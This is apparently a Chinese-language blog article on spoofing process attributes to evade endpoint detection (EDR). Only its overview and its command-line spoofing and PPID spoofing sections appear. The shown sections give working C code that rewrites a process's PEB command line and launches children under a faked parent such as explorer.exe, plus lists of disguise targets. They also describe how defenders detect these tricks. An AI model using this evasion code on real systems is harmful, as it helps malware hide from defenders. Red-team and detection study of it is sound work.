EDR攻击技术-进程与遥测欺骗

· 2026-09-19 22:00 · 0 阅读

原创 pandazhengzheng 2026-09-19 22:00 广东

目录

  1. 进程欺骗概述

  2. 命令行欺骗(Command Line Spoofing)

  3. PPID 欺骗(PPID Spoofing)

  4. ETW Patch

  5. AMSI-AV Patching

  6. AMSI-Hooks Patching

  7. AMSI Bypass

  8. Image Spoofing

  9. Unhooking 与 ntdll 恢复

  10. Direct Syscalls

  11. Indirect Syscalls

  12. 挂起进程与 Early Bird 注入

  13. 技术组合与实战链路

  14. 小结


1. 进程欺骗概述

1.1 进程欺骗的定位

前 3 篇聚焦检测机制,本篇转向攻击技术——主动操纵进程属性与遥测通道,使 EDR 的输入"看起来合法"。

进程欺骗的核心目标

目标

手段

对抗的检测

命令行合法

命令行欺骗

进程信息查询、行为关联

父进程合法

PPID 欺骗

进程树分析

遥测抑制

ETW/AMSI Patch

事件采集、脚本扫描

映像合法

Image Spoofing

映像加载回调、PEB 解析

API 调用隐蔽

Unhooking / Syscalls

用户态 hook

1.2 欺骗的层次

进程属性欺骗          遥测通道抑制          API 调用隐蔽
├─ 命令行欺骗        ├─ ETW Patch          ├─ Unhooking
├─ PPID 欺骗         ├─ AMSI-AV Patch      ├─ Direct Syscalls
└─ Image Spoofing    ├─ AMSI-Hooks Patch   └─ Indirect Syscalls
                     └─ AMSI Bypass

1.3 欺骗 vs 规避

  • 欺骗(Spoofing):主动伪造属性/信息,使 EDR 看到虚假但合法的输入;

  • 规避(Evasion):绕过检测通道,使 EDR 看不到某些输入;

  • 抑制(Suppression):关闭/破坏检测通道,使 EDR 无法接收输入。

本篇覆盖三者,但以欺骗为主线。

1.4 检测—欺骗对照

EDR 检测

欺骗技术

效果

PEB CommandLine 查询

命令行欺骗

PEB 显示合法命令行

进程树父进程检查

PPID 欺骗

父进程为合法进程

ETW 事件采集

ETW Patch

事件不产生

AMSI 脚本扫描

AMSI Patch/Bypass

脚本不触发扫描

映像加载回调

Image Spoofing

加载的映像看起来合法

用户态 hook

Unhooking/Syscalls

API 调用不经 hook


2. 命令行欺骗(Command Line Spoofing)

2.1 问题背景

EDR 通过查询进程的命令行来判断进程行为。例如:

  • powershell.exe -enc <Base64> → 可疑(编码命令);

  • cmd.exe /c whoami → 可疑(命令执行);

  • rundll32.exe shell32.dll,Control_RunDLL → 合法(控制面板)。

EDR 获取命令行的途径:

  1. ETW 事件:进程创建事件(EtwTiLogCreateProcess)包含命令行;

  2. WMIWin32_Process.CommandLine

  3. PEB 读取:进程的 Process Environment Block 中存储命令行;

  4. 内核回调PsSetCreateProcessNotifyRoutine 可配合查询获取命令行。

2.2 命令行欺骗的原理

核心思路:进程创建后,修改自身 PEB 中的命令行字段,使后续查询看到伪造的命令行。

真实执行: malicious.exe -payload xxx
         ↓
PEB 修改: PEB.ProcessParameters.CommandLine = "svchost.exe -k netsvcs"
         ↓
EDR 查询: 看到合法命令行 "svchost.exe -k netsvcs"

2.3 PEB 结构与命令行字段

// PEB(Process Environment Block)简化结构
typedefstruct _PEB {
/* ... */
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
/* ... */
} PEB;
// RTL_USER_PROCESS_PARAMETERS
typedefstruct _RTL_USER_PROCESS_PARAMETERS {
/* ... */
    UNICODE_STRING ImagePathName;    // 映像路径
    UNICODE_STRING CommandLine;      // 命令行 ← 目标
/* ... */
} RTL_USER_PROCESS_PARAMETERS;
// UNICODE_STRING
typedefstruct _UNICODE_STRING {
    USHORT Length;          // 字节长度(不含 \0)
    USHORT MaximumLength;  // 缓冲区容量
    PWSTR  Buffer;         // 指向宽字符字符串
} UNICODE_STRING;

2.4 命令行欺骗的实现

BOOL spoofCommandLine(LPCWSTR fakeCommandLine){
// 1. 获取当前进程 PEB
    PPEB peb = NtCurrentTeb()->ProcessEnvironmentBlock;
    PRTL_USER_PROCESS_PARAMETERS params = peb->ProcessParameters;
// 2. 伪造命令行
    SIZE_T fakeLen = wcslen(fakeCommandLine) * sizeof(WCHAR);
// 方案 A:原地覆写(如果缓冲区足够大)
if (params->CommandLine.MaximumLength >= fakeLen + sizeof(WCHAR)) {
        RtlZeroMemory(params->CommandLine.Buffer,
                      params->CommandLine.MaximumLength);
        wcscpy(params->CommandLine.Buffer, fakeCommandLine);
        params->CommandLine.Length = (USHORT)fakeLen;
return TRUE;
    }
// 方案 B:分配新缓冲区
    PWSTR newBuf = (PWSTR)RtlAllocateHeap(
        RtlProcessHeap(), 0, fakeLen + sizeof(WCHAR));
if (!newBuf) return FALSE;
    wcscpy(newBuf, fakeCommandLine);
    params->CommandLine.Buffer = newBuf;
    params->CommandLine.Length = (USHORT)fakeLen;
    params->CommandLine.MaximumLength = (USHORT)(fakeLen + sizeof(WCHAR));
return TRUE;
}
// 使用
spoofCommandLine(L"svchost.exe -k netsvcs -p");

2.5 命令行欺骗的时机问题

关键:命令行欺骗必须在 EDR 读取命令行之前完成。

进程创建 → EDR 收到事件 → EDR 查询命令行 → ... → 欺骗执行
         ↑                              ↑
         EDR 可能在此处已读取            欺骗太晚!

解决方案

方案

原理

优劣

PPID 欺骗 + 挂起

创建挂起进程,在恢复前修改 PEB

✅ 在 EDR 查询前修改

早期修改

在 main() 最开始修改

⚠️ 可能已晚(EDR 在 CreateProcess 回调中读取)

NtCreateProcessEx

底层创建,跳过部分遥测

✅ 但复杂

2.6 命令行欺骗的完整流程(挂起方案)

BOOL createWithSpoofedCommandLine(
    LPCWSTR imagePath,     // 实际执行的映像
    LPCWSTR fakeCmdLine,   // 伪造的命令行
    HANDLE* hProcess,
    HANDLE* hThread
)
{
    STARTUPINFOEXW si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    SIZE_T attrSize = 0;
// 1. 初始化属性列表(用于 PPID 欺骗)
    InitializeProcThreadAttributeList(NULL10, &attrSize);
    si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)malloc(attrSize);
    InitializeProcThreadAttributeList(si.lpAttributeList, 10, &attrSize);
// 2. 以挂起方式创建进程
//    注意:lpCommandLine 传入 fakeCmdLine
//    这样 ETW 事件中的命令行也是伪造的
    CreateProcessW(
        imagePath,           // 映像路径
        (LPWSTR)fakeCmdLine, // 命令行(伪造)
NULLNULL, FALSE,
        CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,
NULLNULL, (STARTUPINFOW*)&si, &pi);
// 3. 此时进程已创建但未开始执行
//    PEB 中的命令行已是 fakeCmdLine
//    (因为 CreateProcess 用 lpCommandLine 设置 PEB)
// 4. 如果需要执行真实逻辑,可通过其他方式传递
//    如:环境变量、共享内存、文件等
    *hProcess = pi.hProcess;
    *hThread = pi.hThread;
return TRUE;
}

2.7 命令行欺骗的检测与局限

EDR 的反制

检测方法

原理

欺骗是否有效

ETW 进程创建事件

事件中包含命令行

取决于 CreateProcess 时传入的命令行

内核回调 + 实时查询

进程创建时立即读 PEB

若在回调中读取,欺骗可能太晚

PEB 与 ETW 交叉比对

比对两个来源的命令行

不一致 → 可疑

命令行与映像匹配

svchost.exe

 应在 System32

路径不匹配 → 可疑

局限

  • 命令行欺骗主要欺骗后续查询进程创建事件中的命令行在创建时就已确定;

  • 若 EDR 在进程创建回调中读取 PEB,欺骗可能来不及;

  • 交叉比对可发现不一致。

2.8 实战中的命令行欺骗

常用伪装目标

伪装命令行

场景

svchost.exe -k netsvcs

伪装系统服务

rundll32.exe shell32.dll,Control_RunDLL

伪装控制面板

WerFault.exe -u -p <PID>

伪装错误报告

notepad.exe

伪装无害程序

SearchIndexer.exe

伪装搜索索引

2.9 工具参考

  • spoof.cpp (cocomelonc)

  • Process Herpaderping——更底层的进程创建欺骗


3. PPID 欺骗(PPID Spoofing)

3.1 问题背景

EDR 通过进程树分析判断进程合法性。例如:

  • explorer.exe → cmd.exe → whoami.exe:用户交互启动,可能合法;

  • winword.exe → cmd.exe:Office 启动 cmd,高度可疑(文档宏攻击);

  • svchost.exe → powershell.exe:服务启动 PowerShell,需检查是否合法服务。

PPID(Parent Process ID)决定进程在进程树中的位置。PPID 欺骗使恶意进程看起来由合法父进程启动

3.2 PPID 欺骗的原理

Windows 支持以指定父进程创建子进程——通过 STARTUPINFOEXW 的属性列表(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS)。

真实: malicious.exe → child.exe
欺骗: explorer.exe (PPID) → child.exe
     child.exe 的父进程看起来是 explorer.exe

3.3 PPID 欺骗的实现

BOOL createWithSpoofedPPID(
    LPCWSTR applicationPath,
    LPCWSTR commandLine,
    DWORD targetPPID,      // 伪造的父进程 PID
    HANDLE* hProcess,
    HANDLE* hThread
)
{
// 1. 打开目标父进程
    HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, targetPPID);
if (!hParent) return FALSE;
// 2. 初始化属性列表
    STARTUPINFOEXW si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    SIZE_T attrSize = 0;
    InitializeProcThreadAttributeList(NULL20, &attrSize);
    si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)malloc(attrSize);
    InitializeProcThreadAttributeList(si.lpAttributeList, 20, &attrSize);
// 3. 设置父进程属性
    UpdateProcThreadAttribute(
        si.lpAttributeList,
0,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
        &hParent,
sizeof(HANDLE),
NULLNULL);
// 4. 创建进程
    BOOL success = CreateProcessW(
        applicationPath,
        (LPWSTR)commandLine,
NULLNULL, FALSE,
        CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,
NULLNULL, (STARTUPINFOW*)&si, &pi);
// 5. 清理
    DeleteProcThreadAttributeList(si.lpAttributeList);
free(si.lpAttributeList);
    CloseHandle(hParent);
if (success) {
        *hProcess = pi.hProcess;
        *hThread = pi.hThread;
    }
return success;
}
// 使用:伪装为 explorer.exe 的子进程
DWORD explorerPid = findProcessId(L"explorer.exe");
createWithSpoofedPPID(L"C:\\Windows\\System32\\cmd.exe",
L"cmd.exe",
                      explorerPid, &hProc, &hThread);

3.4 PPID 欺骗的遥测信号

PPID 欺骗本身产生遥测

信号

来源

可否规避

OpenProcess(explorerPid)

ETW-TI / hook

句柄获取行为

InitializeProcThreadAttributeList

无遥测

CreateProcess

 with PPID

ETW-TI EtwTiLogCreateProcess

不可规避(内核遥测)

进程创建事件包含 PPID

内核回调

不可规避

关键:PPID 欺骗的结果(进程树中父进程合法)可欺骗后续分析,但过程本身产生遥测。

3.5 PPID 欺骗的检测

EDR 的反制

检测方法

原理

是否有效

进程创建事件中 PPID 字段

直接检查

PPID 合法 → 无法仅凭 PPID 判定

PPID 与映像匹配

svchost.exe

 应由 services.exe 启动

✅ 可检测不匹配

进程创建属性检查

PROC_THREAD_ATTRIBUTE_PARENT_PROCESS

 使用

⚠️ 需深入检查

历史行为关联

父进程未执行 CreateProcess

✅ 可发现"幽灵子进程"

3.6 常用 PPID 欺骗目标

目标父进程

伪装场景

注意

explorer.exe

用户启动的程序

最常用

services.exe

系统服务

需匹配服务映像

svchost.exe

服务宿主

需匹配服务组

spoolsv.exe

打印服务

历史攻击常用

跳转微信打开